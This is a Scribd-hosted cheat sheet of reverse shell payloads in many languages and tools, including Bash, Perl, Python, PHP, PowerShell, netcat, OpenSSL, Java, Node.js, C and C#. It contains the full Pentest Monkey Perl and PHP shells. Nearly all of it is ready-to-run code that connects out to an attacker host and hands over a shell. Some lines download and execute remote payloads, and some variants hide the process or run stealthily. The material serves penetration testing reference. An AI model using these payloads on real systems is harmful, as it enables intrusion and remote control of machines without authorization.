0% found this document useful (0 votes)
56 views

Reverse Shell

This document provides code examples for establishing reverse shells using various programming languages and tools, including Bash, Socat, Chisel, Perl, Python, awk, and others. The examples show how to set up a listening connection on the attacker's machine and then execute commands on the victim's machine that connect back to the attacker, providing an interactive shell session. Summaries of each tool or language are also given, highlighting their key capabilities and usage for reverse shells.

Uploaded by

andersonvieirati
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
56 views

Reverse Shell

This document provides code examples for establishing reverse shells using various programming languages and tools, including Bash, Socat, Chisel, Perl, Python, awk, and others. The examples show how to set up a listening connection on the attacker's machine and then execute commands on the victim's machine that connect back to the attacker, providing an interactive shell session. Summaries of each tool or language are also given, highlighting their key capabilities and usage for reverse shells.

Uploaded by

andersonvieirati
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 27

Reverse Shell

Index
Index
Bash TCP
Bash UDP
Socat
Chisel
perl
Pentest Monkey
perlbug
awk
Python
IPv4
IPv4 - No Spaces
IPv4 - No Spaces, Shortened
IPv4 - No Spaces, Shortened Further)
IPv6
IPv6 - No Spaces
IPv6 - No Spaces, Shortened
Windows only
PHP
Variants
Simple
Pentest Monkey
Ruby
Golang
Netcat
Netcat without -e
Netcat OpenBBD
Netcat BusyBox
Ncat
OpenSSL
PowerShell
Java
Java Alternative 1
Java Alternative 2
telnet
WAR
Lua
Node.js
Groovy
Groovy Alternative 1
C
C
Dart
xterm
Reference

Bash TCP
Bash TCP

Commands

bash -i >& /dev/tcp/192.168.19.32/443 0>&1


0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Bash UDP
Bash UDP

Commands

Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242

Warning

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Socat

Commands

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242


user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane
tcp:10.0.0.1:4242

Commands

user@victim$ wget -q https://github.com/andrew-d/static-


binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x
/tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane
tcp:10.0.0.1:4242

Info

Static socat binary can be found at https://github.com/andrew-d/static-binaries

Chisel
Chisel is a fast TCP/UDP tunneling, transported over HTTP, and secured via ssh. Single executable
including both client and server. Written in Go (golang). Chisel is mainly useful for passing through
Firewalls, though it can also be used to provide a secure endpoint into your network.

More details on Chisel file.

perl

Commands

perl -e 'use
Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new


IO==Socket==INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;'

NOTE: Windows only


perl -MIO -e '$c=new IO==Socket==INET(PeerAddr,"10.0.0.1:4242");STDIN-
>fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Pentest Monkey

Commands

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache
normally).
#

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.


my $ip = '127.0.0.1';
my $port = 1234;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious


$0 = "[httpd]";

# Authenticate based on source IP address if required


if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view
this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your
IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required


if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell


socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection


open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print


sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit


sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

perlbug
Run nc -l -p 12345 on the attacker box to receive the shell.

Commands

export RHOST=attacker.com
export RPORT=12345

perlbug -e 'use
Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobynam
e("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

awk
Run nc -l -p 12345 on the attacker box to receive the shell.

Commands

RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Python
IPv4

Commands

python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("
RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Commands

python -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0
.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pt
y.spawn("/bin/sh")'

Commands

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(
),2);subprocess.call(["/bin/sh","-i"])'

Commands

python -c 'import
socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("
10.0.0.1",4242));subprocess.call(["/bin/sh","-
i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
IPv4 - No Spaces

Commands

python -c
'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.s
ocket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.f
ileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Commands

python -c
'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("o
s");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242
));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.c
all(["/bin/sh","-i"])'

Commands

python -c
'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(
socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call([
"/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 - No Spaces, Shortened

Commands

python -c
'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,
s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2)
;p("/bin/sh")'

Commands
python -c
'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF
_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(
f(),2);p(["/bin/sh","-i"])'

Commands

python -c
'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_ST
REAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-
i"],stdin=f(),stdout=f(),stderr=f())'

IPv4 - No Spaces, Shortened Further)

Commands

python -c
'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connec
t(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Commands

python -c
'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.
connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-
i"])'

Commands

python -c
'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.
0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
IPv6

Commands

python -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dea
d:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.
fileno(),2);pty.spawn("/bin/sh")'

IPv6 - No Spaces

Commands

python -c
'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.s
ocket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2
));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/
bin/sh")'

IPv6 - No Spaces, Shortened

Commands

python -c
'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6
,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f
(),1);o(f(),2);p("/bin/sh")'

Windows only

Commands

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib:


[[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(),
[[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(),
__ctx.__exit__(None, None, None), __out[0](lambda: None)][2])
(__contextlib.nested(type('except', (), {'__enter__': lambda self: None,
'__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None
and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in
[((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__':
lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback:
[False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))
([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in
[(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in
[(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s,
p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])
[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for
__g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after:
__y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1]
if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])
({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l:
[(lambda __after: __y(lambda __this: lambda: [(lambda __after:
(__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else
__after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if
True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])
({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for
__g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in
[(__import__('subprocess', __g, __g))]][0] for __g['threading'] in
[(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y:
f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP
Variants

Commands

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'


php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Simple

Commands
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i",
array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Pentest Monkey

Commands

<?php
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache
normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail
and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).
These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader


// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}

// Change to a safe directory


chdir("/");

// Remove any umask we inherited


umask(0);

//
// Do the reverse shell...
//

// Open reverse connection


$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process


$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking


// Reason: Occsionally reads will block, even though stream_select tells us they
won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT


if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some


// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send


// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT


// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself


// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

Ruby

Commands

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i


<&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if


fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");
($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue
c.puts "failed: #{$_}"}'

NOTE: Windows only


ruby -rsocket -e
'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r")
{|io|c.print io.read}end'

Golang
Commands

echo 'package main;import"os/exec";import"net";func main()


{c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cm
d.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm
/tmp/t.go

Netcat

Commands

nc -e /bin/sh 10.0.0.1 4242


nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242

Netcat without -e

Commands

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 >
/tmp/f

# Or
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 44

Netcat OpenBBD
Netcat OpenBBD

Commands

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Netcat BusyBox
Netcat busybox

Commands

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Ncat

Commands

ncat 10.0.0.1 4242 -e /bin/bash


ncat --udp 10.0.0.1 4242 -e /bin/bash

OpenSSL

Commands

user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -
days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -
connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

TLS-PSK (does not rely on PKI or self-signed certificates)

Commands

# generate 384-bit PSK


# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export
PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher
PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-
SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export
PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`";
mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK
-connect $RHOST:$RPORT > $PIPE; rm $PIPE

PowerShell

Commands

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object


System.Net.Sockets.TCPClient("10.10.10.7",1234);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte
.Length);$stream.Flush()};$client.Close()

Commands

powershell -nop -c "$client = New-Object


System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte
.Length);$stream.Flush()};$client.Close()"

Commands
powershell -Exec BypassIEX (New-Object
Net.WebClient).DownloadString('http://10.10.10.7:53/bb.ps1')

Java

Commands

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while
read line; do $line 2>&5 >&5; done'");
p.waitFor();

Java Alternative 1

Commands

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.re
ad());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sle
ep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java Alternative 2
NOTE: This is more stealthy

Commands

Thread thread = new Thread(){


public void run(){
// Reverse shell here
}
}
thread.start();

telnet

Commands

In Attacker machine start two listeners:


nc -lvp 8080
nc -lvp 8081

In Victime machine run below command:


telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081

WAR

Commands

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war >


reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

Lua
Linux only

Commands

lua -e
"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.e
xecute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

Commands
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket")
local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while
true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r")
local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end
end tcp:close()'

Node.js

Commands

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

or

require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy
by frohoff
NOTE: Java reverse shell also work for Groovy

Commands

String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.re
ad());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sle
ep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Groovy Alternative 1
NOTE: This is more stealthy

Commands

Thread.start {
// Reverse shell here
}

Commands

[[include]] <stdio.h>
[[include]] <sys/socket.h>
[[include]] <sys/types.h>
[[include]] <stdlib.h>
[[include]] <unistd.h>
[[include]] <netinet/in.h>
[[include]] <arpa/inet.h>

int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);


revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

connect(sockt, (struct sockaddr *) &revsockaddr,


sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/sh", NULL};


execve("/bin/sh", argv, NULL);

return 0;
}

Warning

Compile with gcc /tmp/shell.c --output csh && csh

C on .Net
Look at C-Sharp Simple Reverse Shell to see how compile it.

Code

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("192.168.200.130",
443))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new
StreamReader(stream))
{
streamWriter = new
StreamWriter(stream);
StringBuilder strInput = new
StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow =
true;
p.StartInfo.UseShellExecute =
false;

p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput
= true;
p.StartInfo.RedirectStandardError
= true;
p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{

strInput.Append(rdr.ReadLine());
//strInput.Append("\n");

p.StandardInput.WriteLine(strInput);
strInput.Remove(0,
strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess,


DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}

Dart

Commands

import 'dart:io';
import 'dart:convert';

main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}

xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on
the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

Commands
xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this
is with Xnest (to be run on your system):

Commands

Xnest :1

You’ll need to authorize the target to connect to you (command also run on your host):

Commands

xhost +targetip

Reference

Links

Reverse Bash Shell One Liner


Pentest Monkey - Cheat Sheet Reverse shell
Spawning a TTY Shell
Obtaining a fully interactive shell
https://www.revshells.com/

Info

Author: Bruno Botelho


E-mail: [email protected]
Created: 2022-02-25 20:53
Updated: 2022-02-25 20:53

You might also like